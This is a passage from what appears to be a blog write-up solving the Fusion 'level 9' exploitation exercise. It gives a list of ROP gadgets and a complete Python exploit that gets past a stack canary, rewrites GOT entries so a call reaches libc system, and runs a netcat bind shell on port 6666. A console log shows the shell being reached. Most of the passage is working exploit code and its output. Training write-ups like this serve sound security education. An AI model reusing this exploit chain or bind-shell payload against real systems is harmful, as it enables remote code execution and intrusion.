0x80633d4:	0x00000000	0x00000000	0x00000000	0x00000000
...

some useful gadgets:
0x08048c8e: add dword ptr [ebx + 0x5d5b04c4], eax; ret; 
0x0805ce50: add dword ptr [edi], ecx; test byte ptr [ecx], dl; ret; 
0x0805d141: add dword ptr [edi], ecx; test byte ptr [edi], ch; ret; 
0x0805d165: add dword ptr [edi], ecx; test dl, ah; ret;

0x08061f90: pop eax; add byte ptr cs:[ebp + eax*8 + 0xc], bl; add al, 4; ret; 
0x08060e98: pop ebp; cld; leave; ret; 
0x08048c93: pop ebp; ret; 
0x08048c92: pop ebx; pop ebp; ret; 
0x08048f83: pop ebx; pop esi; pop edi; pop ebp; ret; 
0x0804880c: pop ebx; ret; 
0x08048f85: pop edi; pop ebp; ret; 
0x08048f84: pop esi; pop edi; pop ebp; ret; 
0x0805d2e0: pop esp; ret 0xfffe; 
0x080612d8: pop esp; rol dword ptr [eax + ecx], 0; ret 0x804; 

0x0805d1d8: xchg ah, dh; ret; 
0x0805ff43: xchg dword ptr [ecx - 0x1600016a], ecx; ret 0xfee6; 
0x0805d387: xchg eax, ebx; mov edx, 0xf000000; test dword ptr [edi], edi; ret 0xfffe; 
0x0805d2d4: xchg eax, ebx; mov edx, 0xf000000; test esi, edx; ret 0xfffe; 
0x080581f9: xchg eax, ecx; ret; 
0x080614f0: xchg eax, esp; ret 0x805; 
0x080581d0: xchg eax, esp; ret 0xffff; 
0x0805d1e3: xchg ecx, ebp; ret; 
0x08049420: xchg edx, esi; ret;

sum value/write block:
	0x08048c92: pop ebx; pop ebp; ret;
	0xADDR - 0x5d5b04c4
	0xDATA
	0x0805d1e3: xchg ecx, ebp; ret;
	0x080581f9: xchg eax, ecx; ret;	
	0x08048c8e: add dword ptr [ebx + 0x5d5b04c4], eax; ret;

"""



def p(v):
	return struct.pack('<L', v)

# create a rop wich writes string(s) to address(addr)
def rop_cpystr(addr, s):
	rop = ''
	for i in range(len(s) / 4):
		rop += p(0x08048c92) # pop ebx; pop ebp; ret;
		rop += p(((addr+(i*4)) - 0x5d5b04c4) & 0xFFFFFFFF) # address
		rop += s[(i*4) : (i*4) + 4] # data
		rop += p(0x0805d1e3) # xchg ecx, ebp; ret;
		rop += p(0x080581f9) # xchg eax, ecx; ret;
		rop += p(0x08048c8e) # add dword ptr [ebx + 0x5d5b04c4], eax; ret;
	return rop

# create a rop that adds a value(v) to the value at address(addr)
def rop_addvalue(addr, v):
	rop = ''
	rop += p(0x08048c92) # pop ebx; pop ebp; ret;
	rop += p((addr - 0x5d5b04c4) & 0xFFFFFFFF) # address
	rop += p(v)
	rop += p(0x0805d1e3) # xchg ecx, ebp; ret;
	rop += p(0x080581f9) # xchg eax, ecx; ret;
	rop += p(0x08048c8e) # add dword ptr [ebx + 0x5d5b04c4], eax; ret;
	return rop

# main exploit code
def main(host, port):
	__popr 			= 0x08048f86
	__bss 			= 0x08063384
	__setrlimit_got = 0x080632A8
	__jmp_setrlimit = 0x080488E0
	__write_got 	= 0x080632D0
	__jmp_write 	= 0x08048980
	# 2084 bytes, retn @ 28+
	# 0x8060e1b:	lea    esp,[ebp-0xc]
	# 0x8060e1e:	pop    ebx
	# 0x8060e1f:	pop    esi
	# 0x8060e20:	pop    edi
	# 0x8060e21:	pop    ebp
	rop  = 12 * 'A' # [ebp-0Ch]
	rop += p(0) # ebx
	rop += p(0) # esi
	rop += p(0) # edi
	rop += p(0) # ebp
	# increment setrlimit + 0xC1DD0 -> libc.system
	rop += rop_addvalue(__setrlimit_got, 0xC1DD0)
	# increment write + 0x39A54 -> vdso.__kernel_vsyscall
	rop += rop_addvalue(__write_got, 0x39A54)
	# write the netcat command string to .bss
	rop += rop_cpystr(__bss, '/bin/nc.traditional -lvp 6666 -e /bin/sh')
	# system('netcat command')
	rop += p(__jmp_setrlimit)
	rop += p(__popr)
	rop += p(__bss)
	rop += p(0x43434343)
	# padd till 2080 bytes
	rop  = rop.ljust(2080, 'A')
	# jmp to vdso.__kernel_vsyscall
	rop += p(__jmp_write)

	# construct the payload packet
	payload =  64 * 'A'
	payload += '-OO-' # <= canarie 1
	payload += rop
	payload += '-OO-' # <= canarie 2, must match canarie 1 to bypass the stack smashing detection!


	client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
	try:
		client.sendto('\x1f\x0e\xff\xff' +  payload, (host, int(port)))
	except KeyboardInterrupt:
		client.close()
		return

if __name__ == '__main__':
	main(sys.argv[1], sys.argv[2])

And running it..

h4x@kali:~/training/fusion/lvl9$ ./lvl9_exploit.py 192.168.178.15 20009;sleep 1;nc 192.168.178.15 6666
id
uid=20009 gid=20009 groups=20009

Game over
This was another fun exploit challenge including some unpacking. Also it shows that sometimes you don’t need to dig deep into the code, but with some basic understanding of it and some simple fuzzing attempts you could get the desired results.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s